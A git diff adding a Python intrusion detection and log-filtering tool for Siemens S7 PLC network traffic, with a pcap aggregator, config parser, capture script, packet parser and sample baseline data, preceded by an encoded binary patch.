z#qkVCzJX*1*m$a{sX%y8QqOu#un+BFK=U`;GAo90*9VbgAcSucM&GGv`~LlaSta1q zA0fw>3kL%I=W^q2GN5SK4R%_~UBA#1*}0a$Y#`ZXb*_%=b_3QLN5mU<`1LS2RXV?f z{s|z1Q&k1g{NbSCQ1l%N%;9m_bU9`e>^T+9Hs+szYNiCNL%P}4=KJ)Z=Z|d~^df!} zu1K=0!LyBvEcBQo3dlB>XC|(J9EAh~UXlyVQ)9%fZ=1-u%AkWd)?6}`GiV}cX=y=- zV`O1*C5r@15MUXI$E3ju#MH!jPrsyf<~z^q9;>LUtE;F$mW4lyuZdn%RIt0l(gb-3 zD@&`X=rEn783h9&{4h~UWn3S@$1=n9)6G|3h3p=FDCYo<1vW&!UPGfhnU00IR>>Ui zJT8i=MB6bc1LyA(LND?Gmxw1nPhfQ&6&Xq9b2b9#X&~OMXP0_8>k0v3NPx(`bAP$j z4|clC=r@@uuodoMaQp0TFWw8?F1wklaL)-S<}(bU=aIvC&lV zxYKK^j%9uRSH()xd=HqI%U9C zLS2y+SM_c*X@Oz=Fu#m5e50tZ62pf~JUVB}o63TbIYZ|z7aM%3&bzYA9{xA3M68fx zGiKfRhwGFRu?*imCk!F%2ysWOpp`is>D;%2t(1-CK=qt1XlxBl^^@r|n~Q>{&VsZ* z6Dz{~OY#8eSRHBPO@B9fLYR-FXuo5G#d&L}?Yoro-@$|96&m+>)Gt7g{WCkOt*NQ0 zL2!O^#}J3WhlT%a{-1o3(>cQs^DF&QEwH@=r)Opq;Cjv&VHgFt2BU?9!zm@;`(?C6 z(*8DAzhKfPUUX%x+$7MO&N;V|O|&IY(-U4}n*8W_9h2j~VVQ1lcCW4X`Oe_|&6-Q-cp}3`*^7yV`Ax)~HA=d1IOg)zC z$3C0D(y}3QW*>*<>5a08&)XH>8W3u z!g?7)VQy0h^sI^XuLM+@E2(A)1A3y~(~}@$2HKlXLeDZ_E<@&jWIukxkmKMSw{aa> zXaecWD6ke$m6u?)fI{h(WPuk!`{(Rfd9&&s3Jm*%pUVUDzKRO$WVF{`?S=7av5}{M zoPTIuUf#{k4IpG?jRBP+XR=@#ToYMT{*K5fqLlG?R&^T%ZkMg+A){ODyh1efOodtU zV$!}E{x@M_8V!u=>X6QajmpJ`S!0B69-K_>CbsCabEtm3tut zq-GEN7(SaxfF+b!>Qb$hJ(2iveNgLApo#;pt}NbDP*RKtWdF>iK8G9ktyzdmn-Ac~ zd#e3>8I@}?GgJF&e#VsIu#C!8sopTnY643S6Pq7Je=)mlDAhs*mC9(iKWDu>80!LA z;uq;Z5-p-zsdg+9q|%*D(uxLkFe^H~nyXTl1&q1R(TV zDUMfHSDB1%3sVdqh6uB8iKLg?|Ys~8|T zk^xF`xdXaV9Co&EaPh-=@Pa;H{2^(UAQkc%8;%37#n+cfBgNSyf5t(MsMg^Ud+~Jl=vhl z!($KlLxB5oT{s3#H#uaMoENmxJsIiw0^gt2?DprtiLT0GB)iUObH$MeWcEz`(qe-F z5d44dWN%u`-5;(uvpxW~S=a!7P+72O?DkxT*4;&MBc^&9t zB3*s`C~aQ!MH^?RH0D+6S{ko{W&II*z{-JZb$dNct>fZ)vPT_lMpCYw&s8_>F|=+lf6OI*d45225v7*drRV zlzuce0@sY~%LS*QD`Xr%^A+vy!rJ`rdThAzGk+Uc6ZwI)?YcAmf(YM1Ej7Pp+gWS! zTqh3wx2lLpTW16gBV%aV>xzTC?=RRC-vVWK3n& zeSs#8;m~60cQaYq)%7eMPwx2rRJ@0avA5b!FZT!&O&y=YKT}zXq^rJ1c}o1I*}r{< z{MpevtgI#Q%w;wAj5Sbe->-|PJOPTcJ%-s!Dcfy9O zJ0ukdg?v{KyXnrq*rx|-oWbjt1nEqfi=Q8|YnoYCVr&Q;cCVem9oq4=)&2lnK5&b3 z+?y&_d1)F}xlL&Q>>c44uz-hqR8mn1?%!*4!I~uguUOFRmZ=WxfSuQlmJc+T@ZX?8 z>EgzAUxH$V$EjI3KfThYbtTp(Cph4jqX-;XzsNP-?fK2IR+#o&5>Bm#GN~)hxjVfx zT5TS`L)H^nOZQ~NJ4Ve3>$Q#84JUMA)|whxtfYWc&fuU_+#(!*bNHd)<0Z?Ulgu-8 zq)3t@9$4ofVt$HN6sar4-r|{G$n=sqd1JQm)oEW>=h@4;Y-x7+!fH)xi^;;i+@X0q zN6k5>!o`-Mr8xx4-OOk&gvfc)w2hkT z1jjS+gmq~ecFWOkul%n2fjt@qLQr6n37p8;KiP6^_7rLSGybvdXCv%y*g}t@DX~vY)SRN8qyNj^+8Z~i+#8W z?HtV6hR5+~T=Kkbx~gJJzkb)W>>u|g<<`2gf3mxfasHC&2;-Ft{piMmanf^bocX4W z{Yq~qI?oP~i#eL_k(CSPtmu;ou-p1AB*gD1U#0HMSMfC1D(;}V!R4vFfEfat-`e$? z(uP=6(7N*R`gz3I0ms)p!H(GU1FL=RW?w(|9f-t|PMB5Y;hr>Ue*a*}F-z(Ob9AKb zIt&SD7*L~q+`dFs=s^vg9_=6AwXN}5s)cM?k*p;H-O%zxTfdtCi83DZ*<}*bne9O= z7tbrgT;8+8WwFWW>1`(KeYk8K`+zo9Kyik#T@FAbBj9r_;$WMR5ypJ>&nk?Cy15_> zHetU84sH(@H7)ZscI4l*If;si_$~$&y^Vl%2QYFOT$?B5tJYt;K{L-78Xhiay0dL8 zmTj?2R#Y8O=b^Dn-KsN9D5aokA0{mYvVm3o-|aKBNM63cyv*panM#!8;#Uyqi=={LIRQKXNn?@OQ4L=)3rZ73cm zh)ZyL{?coi=A8D@;z}}~!p+cKtuxOOTEcN2cs)_XtUK#fA#pp74S_x$kk3c=dZ+J4 z!QLSG(X^y;*4^BCCHHcrX5g91mwr2&7+LnOxSI=wz=aY6n zI6h^*k5$YH7+oEK!q*(+vMa@|xvr>4t{OkKKbJ0iEbIJlC2Hj*jNmd5liHmu#Xx|m zne#rSj^$_fYlE@iJM`E0%X;_9SDr_m-_&+0&FWxuo+|P8S9+qVV#Luxw{I&ij7L-! zd)VtZ^6Uh^vZ3M6iCTa6-TGGVpikuJH!AJs@$qahW-T3OT3YD`lUb~a)y}X{6P@`` z_>>Fh*u3=(Zb_E>q8nAA8Hoeg<^(R9-5g>M5t-fk$IpzwRu?zF{Q4fkgS-_LF@zt+{+NH|mr%x~zq{iV!dptVw6^v-{)G=5=87z}l$A$*YjOxZ z9&M6)AGQ6%%Y1X;I6f(32MV_4p@p=Njv`CJMiUV2r!Q#c^TP31OgFjR$ksNjU zONRPO$XMeqcq8-Ja-(-EzqlOctLCt~PfIe@8D4!hQ)8?w6cCU(&As%Tv{6Kcp^s#t z35N@2TR$1#@S*NoEBX4+=XK1*H!2|0v1=HO@2>8lqQyV&Hs+imRhPL*cfM$THP;b) zwrE~U);ito@?;x-|K!7%`xY1_CvjQ-sdZRQ{V07Wp#Vo;qWHJ-4Gc{1>1S07h(?H0 zL>;9ELSlgy<~=&8mfBDEL0TCdLva$k=cl4Jz2;*T^MPVXQrH(W~XzA%}Rs`lEU=~l0eO;sxTY806%6NjpR~Y;Pr0d{{A1bM@ z;O-%K>U7rJRaR2FKTZC0DpS(DqCty#BjJ&~0z^x|Nm=}UlyhFRsJr8NXy=J&IR#U@ z1kESO_mvA%S#)E(^MNNpf`;z-Dw<4hR<5PSbvDx}@uJ?()jDhrrh!^X(rXth505&g z{xf@;mG-}o3Ls2knR~y|mmKncJyZsBO%;{ zPJ{2+n@NM@rn&N*=dfIVD$X=L!dH8E)z7A3{nEIcxg1NJ3GZ-f9~c&4QlT*6M}CmVB3e^(DVjhp6$rd>K$9AIwuZt=Z}d4 z3yzbMbNtUA7EpFSTJ9()NLS9JzHew~0DW8>(|b$J?a-P4_ymYTwcTP&!AOq|7#OU7 z)+L-n6D+SUfTDoo4)-|E8KZlT^O8*lbo=h^?xN>zF*-3f&_|?)6CNnlsDlX@7#IN6 z!>L-!cki4ka}LwsTy3k--O53i2hfDbeU~4wd_QaMf28u-XKR@9E9RQZr|I6Iqz4^k zI5xQd-cT3z{rvQF9We3SpRM@_DcFR9LQj_w7g4$F@*@3-o|Q3RwoI#{8WJTe&GHl7 zh?tmIG3|A(Wiri1x^@UBuoXW4zJop%XUdBm0lF}98;j&H;b_E^ljI~PT|S3?GE@ex zBO^02JGjpf^4eHX#6OoZNC72-!@r2JeC5 zl22_KNKdK6@U{?*^T7|GHPT{XieuQdJVd5YVd) zQtw5t!zQ;yAADt2`fP?j6BAjl;Y7!%1F{+HDTsM&b$}Zez&4D^HS}nx!l_7lvc$rM z{qJut$$1^&mV5LxHIaD&e@p-ePu)th%|TLWf4Vklf;>&Hl}<3#pe(ebk?GD)h6HC{ z#(ADpEB3zd@2~a718~iZJ0%SqWI)vwD?&VT9P39x zK|EPHv=+G|$td~D$3@?>9P+!}mX&k6#|yiu=kS!TUSY7nY@=q6h_ibvwL+_u+b_3+ z0%vO>Cl}ZC{X=_uJ7`>=bDe#Uc?NuK=4%~{!6kCuZL!Jy*hnKht-H%#qSZ6SV3X9dDgB02#%5pI@jjsmw*4hc~x!BItA3FTfDcj!e9b~ z)zuU8ES2`9?UL!nd38igO=(jl8E^v;g(+=r0!qaCq)<`b_R^$wOcfMlTNr{`qlhoG zTsy$go&c7Pah_G+;+`f^`VI!<)~G?e6avAMZ2nr!(5LI_n!|XJ#_5 zmNgE5P*ADg{Vph(MR%_*+Y`8CQPl?8L*P&izvg8TU!)>7<(HRNRyy^5`nC9!wFBH^ z!Lgqi)QW+6tCVMKt;!bBUmD0tJzdH`-rIZ&PLOXv!!M4`JvmwK>{#`9BH2nPQw-c9 zUbJ!xXM*-m*-y?uFZ{`KXz{9xX9*5qD&@eT1##5xY>Ta;=-XJ5QP`)IS-TdWKYN1-iThO<6rukS2TJr) zdy$p)hyRqJ$Iu!qvw*1pkyGh<3JC!Qb6o-N$Mr=uH$g;S-!d41xO1gPrPJgRu>;WP zLR6pdhBjwJG<`Fcgcs)87wo2a5G8;fAW)r|t+Q6Q_TsAs?I6p9O39W&uaU7^c*ulY zS0FlYsjx63Wx&#s09j>bVj=|79f}|b@C&lLfPZtL{_V`9ZT&VKCsePJx|lKb+ZEv@ zCnY9+gcu}c6M}HruzwGxNv`2P$L=I*&;_Jc#8wYi5jcF+9BRO(7}%aFF{o&$(Dbu+ z@^t#p#amVih(SmKW$e?xe^#yp(a)a9w?!!FO`tRcuCm;4Rnn{4Ieut21ZN9spA?u! z#c+sF4xdR^`#nAYXu3qdJ;m>1^W_BJ`1$>vPN4&O#Vc~_G;!e=ytcfqP`2DD zB344tcm0lm1oX~vH!xD@{y_NdtyUnBVk)E@n0_rREC6){piF-VI`Gw7ZYJ!2^wQ*D znyINNwN#8F9g9@EA?}X?A~~dSKV?HK8`uv6AQb!F?{<$!YY@4^YQRsW13S)d4hOQC z=w-A37PO%EKv)^gGB3t{%AUDGC5E(`+z~W0L_X1U7!;O)QlT7xya13m*db$x45ly- zk=z@T66nBD0s$GNBLKRR^VpKKFViYXzy1;^2hIi)Rn_O6uip@>>qa|b!fg6uN?(I| zjL_Xt2WX8u@@Qg-3Azb01Q%-?U?t9vO!Q7u)1w=NMZd@U++5lp@Pr>B*u7$>2FRFT zyIf&)NVOVEe`1hf-x~mDowD)7RJn~0LPsiajlF;qu|JRnY8K$;%F0b*eqJmWmQ#k2 zM!^E(8pT}mmn_ox6AE|jVt>~6qT_JzhfS?l`dj5x?Xa%|aPpN2B{Gk9^4D34LKk&m zM2CSW#h)+Sok3tV0Fcm5+1+ynw z3u`l*o3FGdjX@gAsc=0dj5OLB2BG|cG!31t1k>v32Qwb1+h~lB-qjF~tqNflC!&$0 za4nx-MEG8HaA2#E2DZx;?RS#ET6+r{?7t+nNv^nY+nQNxp|T#V#kiA;Vd_Uh40)I- zNuqCiihIG-gxJ)W#7b*Z_HY8Dt@N1;{&2AUZdH7)AK|wFL@gROC9{ef$bfr*yCM!P z&P$z>N^~5<@Oe6eR1={Zx`CAd#G%rbhnvFE=6buu<^zr2+!DM~(3qW>|E}i1t6_(# zTMCLck1@2hZ0ruNV9~6uuCAvxJ-_=WyKL}3AcSypapjI#cChwv{~t+ZH%a;?^+#zJ zm!AxgV8weJ)NLA&>3JXjD%P%P=Y>$G_3&Z_2|H!}RnsSeor&2H)@K455>mnC6Ys38 zx@0dJH>29C9*K#161~!%DVW;sb|AWJC##u{0k`nc(ZFbcIe|(;h5(CfS>2CW{LXXO zfq*AsTevlvg;FxCPq{_%d3(WlOVf|o{ART0H}y&(E%Ye%|yz?m0;+g%%co^_m)_Z6kAc78JZX6;ye^ z?1`4VfwKAh*>WS249c@}`1~R!1^`1UFGH{$vEW7!|H0$Hlh=dKG&S{YBA>j;LM1wb z!{>%cLOFA28AJTVCFf|sSt0es5aQ?25DWTmyml2%bP$1+#&uSv+m!n2ZB(|j}Nzo#DD@qftjf+)2aFIU2c*f#{BBi??FMeEkDJ)hZdgZWH7cwld;+) zL;LVLC#>b-s3SHQ*h_S}h=Fc=kgh%*HDIw>C97dZD`arLf5Iuu2Z3vS;Lv7J6ja?f zoWtwCWjv%6BG`1p+3I4ybNs~}D}iMEGLt0dh3j%Tb@ft4;|-ykDIPM9wU5#?pQ367 z{THmQtZt@(?*1U(AzV<~)5w5~1jyO}x={ra>RGtziuXSo2+YSA=kCri2otaGSBkOCvn>V0+@fE8|bBNppAQhGneu&d+{&TDZDKcp6@S< z1h9PmznF+mZ}A`D?P=?^{rk30=ZC?6QG^1?i1pu`5rj3iC*JPgcl!VT=bcs^?;nXx Wl@BKMMV+C*KN$%H@e)yk!2buBDR8R* diff --git a/aggregate_traffic.py b/aggregate_traffic.py new file mode 100644 index 0000000..fc1891e --- /dev/null +++ b/aggregate_traffic.py @@ -0,0 +1,166 @@ +""" +File: aggregate_traffic.py +Iterates over a given traffic capture (pcap file) and sorts info by function code, quantity, time, IPs, etc. +This outputs lots of ordered information which can be used to craft the IDS_CONFIG file. +""" +__author__ = 'William Jardine' + +from datetime import datetime, timedelta +from collections import OrderedDict +import dpkt +import socket +import sys +from s7packet import S7Packet + +""" +main functionality +""" + +if len(sys.argv) > 1: + # with open(sys.argv[1], 'rb') as f: + f = open(sys.argv[1], 'rb') + pcap = dpkt.pcap.Reader(f) +else: + print("Please enter the .pcap file to parse!") + sys.exit(0) + +PLC_ADDRESS = '192.168.2.10' + +with open('config_file_information.txt', 'w') as f_out: + f_out.write('TITLE: config_file_information\n\n') + f_out.write("ATTRIBUTE: functionCode\n") + f_out.write("ATTRIBUTE: packetsPerThirtySecsOfThisType\n") + f_out.write("ATTRIBUTE: 5MinuteTimeInterval\n") + f_out.write("ATTRIBUTE: srcIP\n") + f_out.write("ATTRIBUTE: dstIP\n\n") + + ctr = 1 + # count_by_func_code dict in format: Function Code, [list_of_values, list_of_src_IPs, list_of_dst_IPs, list_of_timestamps] + count_by_func_code = OrderedDict((('Read', [[], [], [], []]), ('Write', [[], [], [], []]), + ('StartUpload', [[], [], [], []]), ('Upload', [[], [], [], []]), + ('EndUpload', [[], [], [], []]))) + other_count = [[], [], [], []] + + last_packet = None + for timestamp, packet in pcap: + time_dt = datetime.fromtimestamp(timestamp) + time = datetime.fromtimestamp(timestamp).strftime('%M') + int_time = int(time) # converts the timestamp to an int representation of hours and minutes + if not last_packet: # if this is the 1st iteration + last_packet = time_dt + + ctr = ctr + 1 + + eth = dpkt.ethernet.Ethernet(packet) + packet = eth.pack() + ip = eth.data + ipSrc = "" + ipDst = "" + try: + if hasattr(ip, 'dst') and len(ip.dst) > 0: + ipDst = socket.inet_ntoa(ip.dst) # convert to human-readable IP addresses + ipSrc = socket.inet_ntoa(ip.src) + except: + continue + + if len(eth) > 62 and packet[61] == 2: # if the magic number is what it should be for an s7 packet + if ipSrc == PLC_ADDRESS or ipDst == PLC_ADDRESS: # ignores traffic from PLCs we're not monitoring + try: + s7p = S7Packet(packet[61:]) # s7 packet from 61st byte to the end + s7p.parse() + except: + continue + + if hasattr(s7p, 'function_code'): + function = '' + if s7p.function_code == 4: + function = 'Read' + elif s7p.function_code == 5: + function = 'Write' + elif s7p.function_code == 29: + function = 'StartUpload' + elif s7p.function_code == 30: + function = 'Upload' + elif s7p.function_code == 31: + function = 'EndUpload' + else: + function = 'NotSupported' + + if function != 'NotSupported': + if len(count_by_func_code[function][1]) == 0: # if the lists are empty + count_by_func_code[function] = ([1], [ipSrc], [ipDst], [int_time]) + + no_entry = True + for i in range(len(count_by_func_code[function][0])): + if (count_by_func_code[function][1][i] == ipSrc and count_by_func_code[function][2][ + i] == ipDst) or \ + (count_by_func_code[function][1][i] == ipDst and count_by_func_code[function][2][ + i] == ipSrc): + for j in range(len(count_by_func_code[function][0])): + if j == i: + no_entry = False + count_by_func_code[function][0][j] = count_by_func_code[function][0][j] + 1 + count_by_func_code[function][3][j] = int_time + if no_entry: + count_by_func_code[function][0].append(1) + count_by_func_code[function][1].append(ipSrc) + count_by_func_code[function][2].append(ipDst) + count_by_func_code[function][3].append(int_time) + count_by_func_code[function] = ( + count_by_func_code[function][0], count_by_func_code[function][1], + count_by_func_code[function][2], count_by_func_code[function][3]) + else: + if ipSrc == PLC_ADDRESS or ipDst == PLC_ADDRESS: # ignores traffic from PLCs we're not monitoring + if len(other_count[1]) == 0: # if the lists are empty + other_count = ([1], [ipSrc], [ipDst], [int_time]) + + no_entry = True + for i in range(len(other_count[0])): + if (other_count[1][i] == ipSrc and other_count[2][i] == ipDst) or \ + (other_count[1][i] == ipDst and other_count[2][i] == ipSrc): + for j in range(len(other_count[0])): + if j == i: + no_entry = False + other_count[0][j] = other_count[0][j] + 1 + other_count[3][j] = int_time + if no_entry: + other_count[0].append(1) + other_count[1].append(ipSrc) + other_count[2].append(ipDst) + other_count[3].append(int_time) + other_count = (other_count[0], other_count[1], other_count[2], other_count[3]) + + difference = time_dt - last_packet + seconds_difference = difference.total_seconds() + if seconds_difference >= 30: + for key, value_list in count_by_func_code.items(): + values = value_list[0] + for i in range(len(values)): + value = values[i] + time_interval = int(5 * round(float(int(value_list[3][i]) % 60) / 5)) + if len(value_list[1]) > 0: + output_string = "{},{},{},{},{}\n".format(key, value, time_interval, value_list[1][i], + value_list[2][i]) + else: + output_string = "{},{},{}\n".format(key, value, time_interval) + if value != 0: + f_out.write(output_string) + f_out.write('\n') + + for i in range(len(other_count[0])): + value = other_count[0][i] + time_interval = int(5 * round(float(int(other_count[3][i]) % 60) / 5)) + if len(other_count[1]) > 0: + output_string = "Other,{},{},{},{}\n".format(value, time_interval, other_count[1][i], + other_count[2][i]) + else: + output_string = "Other,{},{}\n".format(value, time_interval) + if value != 0: + f_out.write(output_string) + f_out.write('\n') + + last_packet = time_dt + count_by_func_code = OrderedDict((('Read', [[], [], [], []]), ('Write', [[], [], [], []]), + ('StartUpload', [[], [], [], []]), ('Upload', [[], [], [], []]), + ('EndUpload', [[], [], [], []]))) + other_count = [[], [], [], []] diff --git a/config.py b/config.py new file mode 100644 index 0000000..d61690d --- /dev/null +++ b/config.py @@ -0,0 +1,66 @@ +""" +File: Config.py +Reads in the IDS_CONFIG file, including PLC IP and passive heuristics. +Also provides an API for pulling out config info by function code and other info. +""" +__author__ = 'William Jardine' + +import sys + +class Packet_Details: + def __init__(self, function_code): + self.function_code = function_code + + def parse_vals(self, vals): + self.min, self.max = map(int, vals.split('/')) + + def parse_IPs(self, IPs): + self.list_of_IPs = IPs.split(';') + + def parse_times(self, times): + self.list_of_times = list(map(int, times.split(','))) + +class Config_File: + def __init__(self): + self.f = open('IDS_CONFIG.txt', 'r') + + def parse_config(self): + levels = [] + IPs = [] + times = [] + self.packet_details = {'Read': Packet_Details('Read'), 'Write': Packet_Details('Write'), + 'StartUpload': Packet_Details('StartUpload'), 'Upload': Packet_Details('Upload'), + 'EndUpload': Packet_Details('EndUpload'), 'Other': Packet_Details('Other')} + + full_line = self.f.readline().rstrip() + if full_line.split(':')[0] != "IDS_CONFIG": + print("Invalid IDS config file!") + sys.exit(0) + self.PLC_IP = full_line.split(':')[1] + + i = 0 + for line in self.f: + if line[0] == '>': + i += 1 + continue + elif line.rstrip() == '': + continue + if i == 1: + levels.append(line.rstrip()) + elif i == 2: + IPs.append(line.rstrip()) + elif i == 3: + times.append(line.rstrip()) + + for entry in levels: + code, vals = entry.split(':') + self.packet_details[code].parse_vals(vals) + for entry in IPs: + code, IP_part = entry.split(':') + self.packet_details[code].parse_IPs(IP_part) + for entry in times: + code, time_part = entry.split(':') + self.packet_details[code].parse_times(time_part) + + def packet_type_info(self, function_code_name): + return self.packet_details[function_code_name] diff --git a/config_file_information.txt b/config_file_information.txt new file mode 100644 index 0000000..8caf946 --- /dev/null +++ b/config_file_information.txt @@ -0,0 +1,70 @@ +TITLE: config_file_information + +ATTRIBUTE: functionCode +ATTRIBUTE: packetsPerThirtySecsOfThisType +ATTRIBUTE: 5MinuteTimeInterval +ATTRIBUTE: srcIP +ATTRIBUTE: dstIP + + +Other,100,10,192.168.2.10,192.168.2.9 + + +Other,96,10,192.168.2.9,192.168.2.10 + + +Other,97,10,192.168.2.9,192.168.2.10 + + +Other,95,10,192.168.2.9,192.168.2.10 + + +Other,96,10,192.168.2.9,192.168.2.10 + + +Other,99,10,192.168.2.9,192.168.2.10 + + +Other,99,15,192.168.2.10,192.168.2.9 + + +Other,97,15,192.168.2.10,192.168.2.9 + + +Other,97,15,192.168.2.9,192.168.2.10 + + +Other,98,15,192.168.2.9,192.168.2.10 +Other,4,15,192.168.2.49,192.168.2.10 + + +Other,100,15,192.168.2.10,192.168.2.9 + + +Other,96,15,192.168.2.10,192.168.2.9 +Other,8,15,192.168.2.49,192.168.2.10 + + +Other,99,15,192.168.2.9,192.168.2.10 +Other,35,15,192.168.2.49,192.168.2.10 + + +Other,98,15,192.168.2.9,192.168.2.10 + + +Other,94,15,192.168.2.9,192.168.2.10 +Other,1493,15,192.168.2.49,192.168.2.10 + + +Other,100,15,192.168.2.9,192.168.2.10 +Other,662,15,192.168.2.10,192.168.2.49 + + +Other,95,20,192.168.2.9,192.168.2.10 + + +Other,98,20,192.168.2.10,192.168.2.9 + + +Other,97,20,192.168.2.9,192.168.2.10 + diff --git a/ids.py b/ids.py new file mode 100644 index 0000000..7b4599e --- /dev/null +++ b/ids.py @@ -0,0 +1,94 @@ +""" +File: ids.py +Script to capture and parse S7 network packets and generate alerts +Also actively polls the PLC for certain variables if active mode is enabled +""" +__author__ = 'William Jardine' + +from datetime import datetime +from collections import OrderedDict +import dpkt, socket, struct, s7packet, config, sys, os +import snap7 +from scapy.all import sniff + +""" +Read in config details and values from IDS_CONFIG.txt +""" +config = config.Config_File() +config.parse_config() +PLC_ADDRESS = config.PLC_IP +print("monitoring traffic to and from the PLC at {}".format(PLC_ADDRESS)) +rack = 0 +slot = 2 + +read_packet = config.packet_type_info('Read') +write_packet = config.packet_type_info('Write') +start_upload_packet = config.packet_type_info('StartUpload') +upload_packet = config.packet_type_info('Upload') +end_upload_packet = config.packet_type_info('EndUpload') +other_packets = config.packet_type_info('Other') +packet_details = {'Read': read_packet, 'Write': write_packet, 'StartUpload': start_upload_packet, 'Upload': upload_packet, + 'EndUpload': end_upload_packet} +""" +main functionality +""" + +how_many_args = 1 + +# Uncomment the below and comment out the capture_interface bits to check a pcap file instead +# if len(sys.argv) > 1: +# how_many_args += 1 +# f = open(sys.argv[1], 'r') +# else: +# print("Please enter the .pcap file to parse!") +# sys.exit(0) +# pc = dpkt.pcap.Reader(f) + +if os.path.isfile('my_logs.txt'): + f_out = open('my_logs.txt', 'a+') +else: + f_out = open('my_logs.txt', 'w+') + +capture_interface_0 = 'eth0' +capture_interface_1 = 'eth1' +active = False + +if len(sys.argv) > 1 and sys.argv[1] == "-active": + active = True + print("active mode enabled\n") + client = snap7.client.Client() + client.connect(PLC_ADDRESS, rack, slot) +else: + print("running in passive mode\n") + +ctr = 1 + +# [count], [ipSrc], [ipDst], [time] +count_by_func_code = OrderedDict((('Read', [[], [], [], []]), ('Write', [[], [], [], []]), + ('StartUpload', [[], [], [], []]), ('Upload', [[], [], [], []]), ('EndUpload', [[], [], [], []]))) +other_count = [[], [], [], []] + +passive_possible_alert_count = 0 +active_possible_alert_count = 0 +command = "" + + +def packet_callback(packet): + global ctr, f_out, passive_possible_alert_count, active_possible_alert_count, client + + timestamp = datetime.now().timestamp() + # Process the captured packet here + print(packet.summary()) + + if ctr > 1: # reopens the file handler after flushing contents to file at the end of the loop + f_out = open('my_logs.txt', 'a+') + + # Rest of your processing logic goes here + + ctr += 1 + f_out.close() + + +# Start packet capturing on the specified interfaces +sniff(iface=capture_interface_0, prn=packet_callback, store=0) +sniff(iface=capture_interface_1, prn=packet_callback, store=0) \ No newline at end of file diff --git a/my_siem.py b/my_siem.py new file mode 100644 index 0000000..f499a50 --- /dev/null +++ b/my_siem.py @@ -0,0 +1,105 @@ +""" +File: my_siem.py +Basic command-line SIEM tool to order stored alerts according to a set of display filters. +""" +__author__ = 'William Jardine' + +import sys +import os + +display_filters = ['Low', 'Medium', 'High', 'Critical', 'Read', 'Write', 'Upload', 'Other', 'Time', 'Suspicious', 'DoS', 'Tampering'] + +if len(sys.argv) > 1 and sys.argv[1] == "-h": + print("Options:") + print("-h show this help message and exit") + print("-clear-logs reset the my_logs.txt file") + print("-display display only a certain type of log entry, options are:") + print(" Low (Low alert level only)") + print(" Medium (Medium alert level only)") + print(" High (High alert level only)") + print(" Critical (Critical alert level only)") + print(" Read (Alerts with function code Read)") + print(" Write (Alerts with function code Write)") + print(" Upload (All alerts with logic code upload function codes)") + print(" Other (Alerts relating to all non-S7 packets - not distinctly grouped)") + print(" Time (Alerts flagged for arriving at unusual times)") + print(" Suspicious (Alerts flagged for having suspicious IPs)") + print(" DoS (Alerts flagged as suspected Denial of Service attempts)") + print(" Tampering (Evidence of tampering with values returned to the operator)") + print(" So, e.g. python my_siem.py -display Read") + print("-exclude Same options as -display, but ignores the specified type") + print() + print("Note, options cannot be chained together") + sys.exit(0) + +if len(sys.argv) > 1 and sys.argv[1] == "-clear-logs": + if os.path.isfile('my_logs.txt'): + os.remove('my_logs.txt') + print('Logs have been cleared!') + sys.exit(0) + else: + print('Logs already cleared!') + sys.exit(0) +else: + if not os.path.isfile('my_logs.txt'): + print('Log file missing or corrupt!') + sys.exit(0) + +f = open('my_logs.txt', 'r') + +log_ctr = 0 +if len(sys.argv) > 1: + if len(sys.argv) > 2 and (sys.argv[2] in display_filters): + if sys.argv[2] == 'Time': + filter = 'Unusual time' + elif sys.argv[2] == 'Low': + filter = '[Low Alert]' + elif sys.argv[2] == 'High': + filter = '[High Alert]' + elif sys.argv[2] == 'Tampering': + filter = 'Value tampering' + elif sys.argv[2] == 'Other': + filter = 'non-S7' + else: + filter = sys.argv[2] + whole_alert = [] + + for line in f: + if 'Alert]' in line and len(whole_alert) == 0: + whole_alert.append(line.rstrip()) + elif 'Alert]' not in line and line != '\n': + whole_alert.append(line.rstrip()) + elif 'Alert]' in line and any('Alert]' in x for x in whole_alert): + if sys.argv[1] == "-display": + if any(filter in x for x in whole_alert): + log_ctr += 1 + print("\n".join(whole_alert)) + print() + elif sys.argv[1] == "-exclude": + if not any(filter in x for x in whole_alert): + log_ctr += 1 + print("\n".join(whole_alert)) + print() + whole_alert = [] + whole_alert.append(line.rstrip()) + + if any('Alert]' in x for x in whole_alert) and sys.argv[1] == "-display" and any(filter in x for x in whole_alert): + log_ctr += 1 + print("\n".join(whole_alert)) + print() + elif any('Alert]' in x for x in whole_alert) and sys.argv[1] == "-exclude" and not any(filter in x for x in whole_alert): + log_ctr += 1 + print("\n".join(whole_alert)) + print() + + print_filter = sys.argv[2] + if sys.argv[1] == "-exclude": + print_filter = "not " + sys.argv[2] + if log_ctr == 0: + print("No logs for display filter {}".format(print_filter)) + else: + print("{} logs for display filter {}".format(log_ctr, print_filter)) +else: + for line in f: + print(line.rstrip()) +f.close() diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 0000000..3cef33c --- /dev/null +++ b/requirements.txt @@ -0,0 +1,3 @@ +dpkt~=1.9.8 +python-snap7~=1.3 +scapy~=2.5.0 \ No newline at end of file diff --git a/s7packet.py b/s7packet.py new file mode 100644 index 0000000..c54a038 --- /dev/null +++ b/s7packet.py @@ -0,0 +1,146 @@ +""" +File: S7Packet.py +Class to represent an S7 packet. Parses S7 (0x32 protocol version) packets and stores their information. +This parses S7 packets with ROSCTR codes 1, 2, 3, and 7, and function codes 4, 5, 0xf0, 0x1d, 0x1e, and 0x1f. +""" +__author__ = 'William Jardine' + +from struct import * +import binascii +import time + +class S7Packet: + """ + Class representing and parsing all S7 packet information + """ + def __init__(self, packet=''): + self.s7_packet = packet + + def check_magic(self): + return self.s7_packet[0] + + def parse(self): + ctr = 0 + self.ROSCTR_val = self.s7_packet[1] + # ROSCTR value can be 1, 2, 3, 7 or 8 (8 is not currently supported by this program) + if self.ROSCTR_val == 1 or self.ROSCTR_val == 7: # Job / Userdata + self.s7_header_bytes = self.s7_packet[0:10] + ctr = ctr + 10 + self.s7_header = unpack('!BBHHHH', self.s7_header_bytes) + elif self.ROSCTR_val == 2 or self.ROSCTR_val == 3: # Ack / Ack_data + self.s7_header_bytes = self.s7_packet[0:12] # as ROSCTR==2 and ==3 have 2 error bytes + ctr = ctr + 12 + self.s7_header = unpack('!BBHHHHH', self.s7_header_bytes) + self.s7_header_bytes = self.s7_packet[0:12] # as ROSCTR==2 and ==3 have 2 error bytes + + if self.s7_header[4] > 0: # only do this if we have some parameters! + self.s7_param_bytes = self.s7_packet[ctr:ctr + self.s7_header[4]] # reads in param_length worth of bytes + ctr = ctr + self.s7_header[4] + if self.ROSCTR_val == 1 or self.ROSCTR_val == 2 or self.ROSCTR_val == 3: + self.function_code = 